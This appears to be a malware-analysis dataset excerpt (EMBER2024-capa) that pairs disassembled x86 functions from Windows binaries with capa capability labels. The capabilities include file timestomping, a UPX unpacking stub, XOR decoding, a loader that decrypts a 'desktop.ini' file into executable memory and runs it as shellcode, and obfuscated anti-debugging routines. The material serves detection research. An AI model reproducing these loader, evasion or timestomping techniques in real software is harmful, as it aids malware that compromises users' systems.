joyce8/EMBER2024-capa huggingface dataset:
Function at 0x60ada8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 4
xor eax, eax
pop edi
push 2
push eax
push eax
push dword [ebx + 0x20c]
mov esi, 0xffff
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.005aa10a
push dword [ebx + 0x20c]
call fcn.005aa024
add esp, 0x14
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
test edx, edx
ja 0x60ae21
jb 0x60adfd
cmp eax, esi
jae 0x60ae21
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
test edx, edx
jb 0x60af0e
ja 0x60ae21
cmp eax, 4
jbe 0x60af0e
jmp 0x60ae21
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 4]
add edi, 0x400
adc esi, 0
cmp esi, dword [ebp - 0xc]
jb 0x60ae47
ja 0x60ae39
cmp edi, dword [ebp - 0x10]
jbe 0x60ae47
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
jmp 0x60ae4d
mov dword [ebp - 8], edi
mov dword [ebp - 4], esi
mov esi, eax
sub esi, dword [ebp - 8]
mov ecx, eax
mov edi, edx
sbb edi, dword [ebp - 4]
sub ecx, esi
mov eax, edx
sbb eax, edi
test eax, eax
jb 0x60ae7a
ja 0x60ae6d
cmp ecx, 0x404
jbe 0x60ae7a
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0x404
jmp 0x60ae80
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
push 0
push edi
push esi
push dword [ebx + 0x20c]
call fcn.005aa10a
push dword [ebx + 0x20c]
lea eax, [ebp - 0x430]
push 1
push dword [ebp - 0x20]
push eax
call fcn.005a97da
add esp, 0x20
cmp eax, 1
jne 0x60af0e
mov eax, dword [ebp - 0x20]
add eax, 0xfffffffd
jmp 0x60aedf
dec eax
cmp byte [ebp + eax - 0x430], 0x50
jne 0x60aedf
cmp byte [ebp + eax - 0x42f], 0x4b
jne 0x60aedf
cmp byte [ebp + eax - 0x42e], 5
jne 0x60aedf
cmp byte [ebp + eax - 0x42d], 6
je 0x60aee5
test eax, eax
jg 0x60aeb6
jmp 0x60aef4
cdq
add eax, esi
adc edx, edi
mov dword [ebp - 0x18], eax
or eax, edx
mov dword [ebp - 0x14], edx
jne 0x60af0e
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x60ae18
ja 0x60af0e
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 8], eax
jb 0x60ae18
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x18]
test ecx, ecx
je 0x60af20
mov edx, dword [ebp - 0x14]
mov dword [ecx], eax
mov dword [ecx + 4], edx
or eax, dword [ebp - 0x14]
je 0x60af2a
xor eax, eax
inc eax
jmp 0x60af2c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x60af94
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi + 0x20c]
sub esp, 0x20
push ebx
push edi
test eax, eax
jne 0x60afad
xor eax, eax
jmp 0x60b11e
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push eax
call fcn.005aa10a
push dword [esi + 0x20c]
call fcn.005aa024
add esp, 0x14
push dword [esi + 0x20c]
mov ebx, eax
push 1
lea eax, [ebp - 0x20]
mov edi, edx
push 0x16
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], edi
call fcn.005a97da
add esp, 0x10
cmp dword [ebp - 0x20], 0x6054b50
je 0x60b036
lea eax, [ebp - 8]
push eax
push esi
call fcn.0060ada8
test eax, eax
je 0x60afa6
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
push 0
push edi
push ebx
push dword [esi + 0x20c]
call fcn.005aa10a
push dword [esi + 0x20c]
lea eax, [ebp - 0x20]
push 1
push 0x16
push eax
call fcn.005a97da
add esp, 0x20
cmp dword [ebp - 0x20], 0x6054b50
jne 0x60afa6
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
add ecx, eax
xor eax, eax
mov edx, ebx
sub edx, ecx
mov ecx, edi
sbb ecx, eax
movzx eax, word [ebp - 0x18]
mov dword [esi + 0x218], eax
xor eax, eax
sub ebx, dword [ebp - 0x14]
push 0
sbb edi, eax
push edi
push ebx
push dword [esi + 0x20c]
mov dword [esi + 0x220], edx
mov dword [esi + 0x224], ecx
call fcn.005aa10a
movzx eax, word [ebp - 0x18]
imul eax, eax, 0x2e
add eax, dword [ebp - 0x14]
push eax
call fcn.005a51fc
add esp, 0x14
mov dword [esi + 0x210], eax
test eax, eax
je 0x60afa6
push dword [esi + 0x20c]
push 1
push dword [ebp - 0x14]
push eax
call fcn.005a97da
mov eax, dword [esi + 0x210]
mov ecx, dword [ebp - 0x14]
add ecx, eax
mov dword [esi + 0x214], ecx
xor edx, edx
add esp, 0x10
xor ecx, ecx
cmp dx, word [ebp - 0x18]
jae 0x60b0f2
mov edx, dword [esi + 0x214]
mov dword [edx + ecx*4], eax
cmp dword [eax], 0x2014b50
jne 0x60b0f2
movzx edi, word [eax + 0x1e]
movzx edx, word [eax + 0x20]
add edx, edi
movzx edi, word [eax + 0x1c]
add edi, eax
lea eax, [edi + edx + 0x2e]
movzx edx, word [ebp - 0x18]
inc ecx
cmp ecx, edx
jl 0x60b0c4
movzx eax, word [ebp - 0x18]
cmp ecx, eax
je 0x60b11b
mov eax, dword [esi + 0x210]
test eax, eax
je 0x60afa6
push eax
call fcn.005a60f9
and dword [esi + 0x210], 0
pop ecx
jmp 0x60afa6
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x60b24f
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push 0
push 0x80
push 3
push 0
xor ebx, ebx
inc ebx
push ebx
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x60b27f
xor al, al
jmp 0x60b2cd
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
test eax, eax
jne 0x60b29f
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x60b27b
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
test eax, eax
jne 0x60b2c4
xor bl, bl
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x60bff0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
cmp dword [ebx], 0
push esi
push edi
jne 0x60c006
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret 4
cmp dword [ebx + 0x108], 0
je 0x60bffd
lea eax, [ebx + 4]
push eax
call dword [sym.imp.USER32.dll_RegisterClipboardFormatA]
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x60bffd
mov edi, dword [ebx + 0x108]
call fcn.0060be6c
push eax
push esi
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x60c058
mov esi, dword [ebx + 0x108]
call fcn.0060bdae
xor esi, esi
call dword [sym.imp.USER32.dll_CloseClipboard]
and dword [ebx], 0
mov eax, esi
jmp 0x60bfff
xor esi, esi
inc esi
jmp 0x60c04b

Function at 0x60c5a6
Capabilities:
Check mutex on windows

Disassembly:
push str.723adff2_a4f7_4543_ab1e_1dbf0b4cede3
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [0x7227b4], eax
test eax, eax
jne 0x60c5c1
xor eax, eax
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x60c5e3
push dword [0x7227b4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
and dword [0x7227b4], 0
jmp 0x60c5be
xor eax, eax
inc eax
ret
Function at 0x60e834
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, 0x686b5c
push esi
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.005a61ec
add esp, 0xc
test eax, eax
je 0x60e883
cmp dword [ebp + 0x10], 0
je 0x60e87f
push esi
push dword [ebp + 0xc]
push str._WFOPEN_S_ERROR
push ecx
call fcn.0040171c
pop ecx
mov esi, eax
call fcn.0060d9f6
mov ecx, dword [ebp + 0x10]
push eax
push 2
pop esi
call fcn.004150a0
add esp, 0xc
xor al, al
jmp 0x60e8d7
push 2
xor esi, esi
push esi
push dword [ebp - 4]
call fcn.005a9a8c
add esp, 0xc
push dword [ebp - 4]
call fcn.005a9994
pop ecx
push esi
push esi
push dword [ebp - 4]
mov edi, eax
call fcn.005a9a8c
mov ecx, dword [ebp + 8]
add esp, 0xc
mov eax, edi
call fcn.0040624a
push dword [ebp - 4]
mov ecx, dword [ebp + 8]
push 1
push edi
push esi
call fcn.00402a5f
push eax
call fcn.005a97da
push dword [ebp - 4]
call fcn.005a6aa0
add esp, 0x14
mov al, 1
pop edi
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret
Function at 0x9b1970
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x410000]
push edi
or ebp, 0xffffffff
jmp 0x9b1992
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x9b1999
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b1988
mov eax, 1
add ebx, ebx
jne 0x9b19ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x9b19bc
jne 0x9b19db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b19db
dec eax
add ebx, ebx
jne 0x9b19c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x9b19a0
add ebx, ebx
jne 0x9b19d7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x9b1a2d
xor ecx, ecx
sub eax, 3
jb 0x9b19f3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x9b1a62
sar eax, 1
mov ebp, eax
jmp 0x9b19fe
add ebx, ebx
jne 0x9b19fe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b19cc
inc ecx
add ebx, ebx
jne 0x9b1a0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9b19cc
add ebx, ebx
jne 0x9b1a19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x9b1a0e
jne 0x9b1a2a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x9b1a0e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x9b1a4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x9b1a3e
jmp 0x9b198e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x9b1a4c
add edi, ecx
jmp 0x9b198e
pop esi
mov edi, esi
mov ecx, 0x10758
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x9b1a6a
cmp byte [edi], 0x67
jne 0x9b1a6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x9b1a6f
lea edi, [esi + 0x5ad000]
mov eax, dword [edi]
or eax, eax
je 0x9b1ae7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5f9860]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5f9a14]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9b1a9c
mov ecx, edi
jns 0x9b1acb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5f9a1c]
or eax, eax
je 0x9b1ae1
mov dword [ebx], eax
add ebx, 4
jmp 0x9b1ab9
call dword [esi + 0x5f9a18]
mov ebp, dword [esi + 0x5f9a20]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x9b1b1b
sub esp, 0xffffff80
jmp 0x6c6cf3
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x6bca95
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf06abb78
jmp 0x6bcb13
push bp
mov word [esp + 1], di
mov word [esp + 3], bp
lea esp, [esp + 2]
jmp 0x6bca76
xchg dword [esp + 8], edi
call fcn.006bca50
lea esp, [esp + 2]
mov dword [esp + 0x24], edi
lea esp, [esp + 0x24]
call fcn.006bcaf0
setbe byte [ecx]
rol byte [ebx + 0x24748966], 5
mov word [esp + 5], si
push word [esp + 3]
jmp 0x6bcabb
lea esp, [esp + 0x24]
jmp 0x6bcb2b
jns 0x6bca7f
lea esp, [esp + 2]
mov dword [esp + 0x24], edi
jmp 0x6bcaa1
mov ebp, dword [esp]
sub esi, ecx
jmp 0x6bcb8a
pushfd
jmp 0x6bc70b
jbe 0x6bcbe8
ja 0x6bcbe8
mov ebp, dword [esp + 0x2c]
mov cx, 0x40f8
cpuid
xchg dh, ch
call fcn.006bcb6e

Function at 0x6bcb6e
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.006bcb8e
lea ecx, [ebp*4]
setne cl
jmp 0x6bcbf9
sub esp, 0xbc
mov edi, esp
mov al, byte [esp]
bts ecx, edi
jmp 0x6bcc46
bsr ecx, esp
jne 0x6bcc30
mov ecx, 0x632567e9
xchg edx, ecx
sub esp, 3
rdtsc
jmp 0x6bcc77
xchg dword [esp], eax
lea ebx, reloc.MSVFW32.dll_DrawDibDraw
push dword [esp]
ret 4
mov ecx, 0x632567e9
xchg edx, ecx
jmp 0x6bcc8d
jno 0x6bcc68
lea ecx, [ebp + ebp]
lea edx, [ebx*4]
jmp 0x6bcc73
lea ecx, [ebp + ebp]
lea edx, [ebx*4]
mov ebx, ebp
jmp 0x6bcc09
mov word [esp], di
call fcn.006bcec0
pop ecx
fdiv qword [edx + 0x15]
in al, 0x57
mov eax, dword [reloc.MSVFW32.dll_DrawDibDraw]
cdq
enter 0xffffffffffffec83, 3
sub esp, 3
rdtsc
mov word [esp], di
neg dx
setge dl
call fcn.006bccc3
imul eax, dword [edx - reloc.MSVFW32.dll_DrawDibDraw], 0x40
xor dword [esi - 0x75], esp
or al, 0x24
lea edi, [edi - 0xf8]
mov bh, byte [esp]
lea edi, [ebx - 0x9c]
mov bl, cl
jmp 0x6bcc21

Function at 0x6bcb8e
Capabilities:
Execute anti-debugging instructions

Disassembly:
bsr ebx, ebx
call fcn.006bcbd0
aam 0x4f
fistp qword [edx - 0x1fbd6cb7]
jbe 0x6bcbb1
loopne 0x6bcc09
popfd
in al, dx
lea esi, [esp + 4]
rdtsc
setbe cl
jmp 0x6bcb73
adc esi, dword [esi - 0x7b]
aaa
invalid

Function at 0x6bd186
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov eax, dword [esp + 1]
push dword [esp + 1]
jmp 0x6bd443
bswap eax
lea esp, [esp + 8]
xor cl, 0xaa
jmp 0x6bd234
ror cl, 0
btr eax, ecx
jmp 0x6bd206
pushal
lea eax, [esi*4]
mov ax, word [esp + 0x1b]
call fcn.006bd285
lahf
setg dl
or dword [edi + esi - reloc.MSVFW32.dll_DrawDibDraw], esp
adc ebx, dword [ebp - 0x54]
mov edi, 0xbd7b3186
jnp 0x6bd1c5
lea eax, reloc.MSVFW32.dll_DrawDibDraw
mov eax, ecx
jmp 0x6bd1e3
lea eax, [edx*4]
bts ax, dx
jo 0x6bd1db
jno 0x6bd1db
mov ax, 0x1f91
pushal
lea ebp, [ebp + 0x22]
mov eax, 0x917cf46a
jmp 0x6bd339
mov eax, 0xeb612ec1
jno 0x6bd194
bswap eax
jmp 0x6bd196

Function at 0x6bd744
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea ecx, reloc.MSVFW32.dll_DrawDibDraw
lea esp, [esp + 0x18]
xor dl, 8
mov ch, dh
jmp 0x6bd76d

Function at 0x6bd77e
Capabilities:
Execute anti-debugging instructions

Disassembly:
push dx
not ecx
mov ecx, 0xa8f41f36
jmp 0x6bd7c5
Function at 0x6bd841
Capabilities:
Execute anti-debugging instructions

Disassembly:
jb 0x6bcf02
lea esp, [esp]
mov dword [esp + 0x14], ebp
call fcn.006bca3f
lea esp, [esp]
mov dword [esp + 0x14], ebp
pushal
lea esp, [esp + 0xa]
pop dword [esp + 3]
lea esp, [esp + 2]
mov dword [esp + 0x20], esi
push ebx
call fcn.006bca95
mov ax, dx
jmp 0x6bcf43
add ebp, dword [esi]
mov al, dh
bsf cx, di
jg 0x6bcf8e
jle 0x6bcf78
stc
rdtsc
call fcn.006bd64b
cmpsd dword [esi], dword es:[edi]
cmp dword [ecx - reloc.MSVFW32.dll_DrawDibDraw], ebp
sbb cl, byte [eax - 0x421e511]
sar cl, cl
stc
rdtsc
jmp 0x6bcf4f
mov dword [esp], ecx
push dword [esp]
jmp 0x6bcb5c

Function at 0x6c833c
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
jmp 0x6aeeab
xor ecx, ecx
cmp dword [esp + 4], ecx
jbe 0x6aeec5
push esi
movzx esi, byte [ecx + edx]
rol eax, 7
xor eax, esi
inc ecx
cmp ecx, dword [esp + 8]
jb 0x6aeeb4
pop esi
jmp 0x6aeed0
ret 4
pushal
lea esp, [esp + 0x20]
jmp 0x6aee9e
Function at 0x726a51
Capabilities:
Resolve function by parsing pe exports

Disassembly:
dec ebp
pop es
add byte [ecx - 0x19d72a2], cl
add eax, ebx
jns 0x6b14db
adc edx, dword [eax - reloc.MSVFW32.dll_DrawDibDraw]
or ecx, ebp
ficom dword [ebp + 7]
add byte [eax + 0x409d62cb], ch
ljmp 0x43ef
inc dword [esp + 0x10]
jmp 0x726c04
call fcn.00726c7c
in al, dx
inc esi
jno 0x6b147e
mov edx, 0x100f82c9
dec eax
add dword [edx + ecx*8 - reloc.MSVFW32.dll_DrawDibDraw], ebx
leave
bound eax, qword [edi]
add byte [eax + 0x73], dh
push 0xffffffffffffff85
mov byte [0xc5354dd7], al
sbb dword [ebp - 0x5e49c217], edx
loopne 0x6b1517
xchg esp, eax
pop es
jmp 0x7277ac
mov edi, 0x4e2bbb2b
mov ebp, 0x2ce9030e
push esi
pop es
add byte [edi], dh
dec esi
invalid
jmp 0x726b2d
add ch, cl
dec esp
arpl word [edi], ax
add byte [ebp - 0x4d], al
add al, 0x2e
mov dl, 0x20
inc edi
mov dl, 0
xor ebp, dword [edx]
stc
jmp 0x726b11
mov ecx, eax
lea ecx, [edi + 0xbf]
jmp 0x726b75
je 0x6b1972
stc
neg al
jmp 0x726a59
cmp ebx, edi
lea esp, [esp + 4]
jmp 0x726a3b
mov eax, dword [0x6ba56c]
clc
jmp 0x726a97
cmp eax, edi
call fcn.00726a81
lea esp, [esp + 8]
jne 0x6b14fc
sub esp, 0x19
push word [esp + 0x11]
lea esp, [esp + 3]
jmp 0x726ada
lea esp, [esp + 0x1c]
push dword [0x6ba604]
jmp 0x726aea
lea esp, [esp + 0x18]
push 0x4c0
push 8
sub esp, 0x1c
jmp 0x726ac4
call dword [0x6ba618]
call fcn.00726b5b
fisubr word [ecx]
dec eax
jmp 0x726b34
cmp dword [eax], edi
call fcn.00726b3d
cmp ebx, dword [eax + edi + 4]
jne 0x6b14b2
je 0x726b69
mov ebp, 0xaf661f8c
pop ecx
inc dword [eax + reloc.MSVFW32.dll_DrawDibDraw]
ja 0x726abc
adc byte [ebx + 0x10247c89], dl
mov dword [esp + 0x10], edi
pushfd
mov word [esp + 1], sp
and al, 1
lea esp, [esp + 4]
jmp 0x726b0a
xor esi, esi
cmc
cmp dword [eax + edi + 8], esi
jmp 0x726cda
mov ecx, dword [eax + edi + 0xc]
neg eax
jmp 0x726bf4
je 0x6b14de
lea eax, [ebx*4]
jmp 0x726bda
mov eax, dword [ebp + 0xc]
call fcn.006c896b
test eax, eax
jmp 0x726ba2
add dword [esp + 0x14], 0x14
pushfd
jmp 0x726c59
mov eax, dword [0x6ba56c]
stc
jmp 0x726bc4
add ecx, dword [esp + 0x14]
mov ah, dh
mov ax, di
mov eax, 0x621512dc
jmp 0x726bb8
mov ecx, dword [esp]
mov cx, word [esp]
bswap ecx
jmp 0x726c30
lea esp, [esp + 0x20]
cmp esi, dword [eax + edi + 8]
jb 0x6b1551
jae 0x6b14b2
mov ecx, dword [esp + 0x10]
add edi, 0xc
cmp ecx, dword [eax]
jmp 0x726c3f
push bp
lea esp, [esp + 1]
lea esp, [esp + 1]
jmp 0x726c9e
lea esp, [esp + 4]
inc esi
pushal
mov word [esp + 4], bp
jmp 0x726c1c
jb 0x6b1528
jae 0x6b14c8
jbe 0x6b14b2
mov cl, byte [esp]
and dword [esp + 0x14], esi
jmp 0x6b1551
mov eax, dword [esp + 0x10]
mov ecx, 0x2d35db79
mov cx, 0x19d5
jmp 0x7277f1
lea esp, [esp + 0x18]
inc eax
stc
call fcn.00727801
cli
imul edi, ecx, 0x8ab6b98
stosd dword es:[edi], eax
ret 0x4c7d
mov ecx, dword [0x6ba56c]
sub esp, 0x19
stc
lea esp, [esp + 1]
jmp 0x7277db
Function at 0x726b3d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub dword [eax - 0x15], ecx
cmp al, ah
push ebp
test dword [edi], ecx
loopne 0x726b18
loope 0x726af6
add cl, byte [ebx - 0xbea160f]
invalid
test eax, 0x4c74fff8
lea esp, [esp + 4]
jbe 0x6b14c8
ja 0x6b1528
or ah, byte [ebp + 0x39ae47d4]
mov ebx, edx
jbe 0x726af9
fisubr dword [edi + reloc.MSVFW32.dll_DrawDibDraw]
movsd dword es:[edi], dword [esi]
imul eax, dword [eax], reloc.MSVFW32.dll_DrawDibDraw
and al, 4

Function at 0x7bc364
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x7bc413
stc
clc
pop word [esp]
xchg ebx, edx
mov eax, 0xa48ef7a1
xchg edx, edi

Function at 0x7bc79d
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg ebp, ecx
xchg bx, cx
mov ah, byte [esp]
mov ebx, dword [esp]
lea ecx, [ecx + ebx]
jmp 0x7bc7a3
lea esp, [esp + 0x41]
jmp 0x7bc787
bsr bp, sp
mov edx, 0x17094a9f
clc
mov bh, 0x75
mov si, bx
mov ah, byte [esp]
jmp 0x7bc7ec
not edi
lea ebx, [edx + ebp]
bsr eax, edi
cld
setae ah
rdtsc
jmp 0x7bc94b
mov esi, 0xa7287892
mov si, 0x9ebc
mov al, ch
mov ebx, esp
cmc
mov ebx, dword [esp]
jmp 0x7bc7d6
cmc
sub esp, 3
pop dword [esp + 0xa]
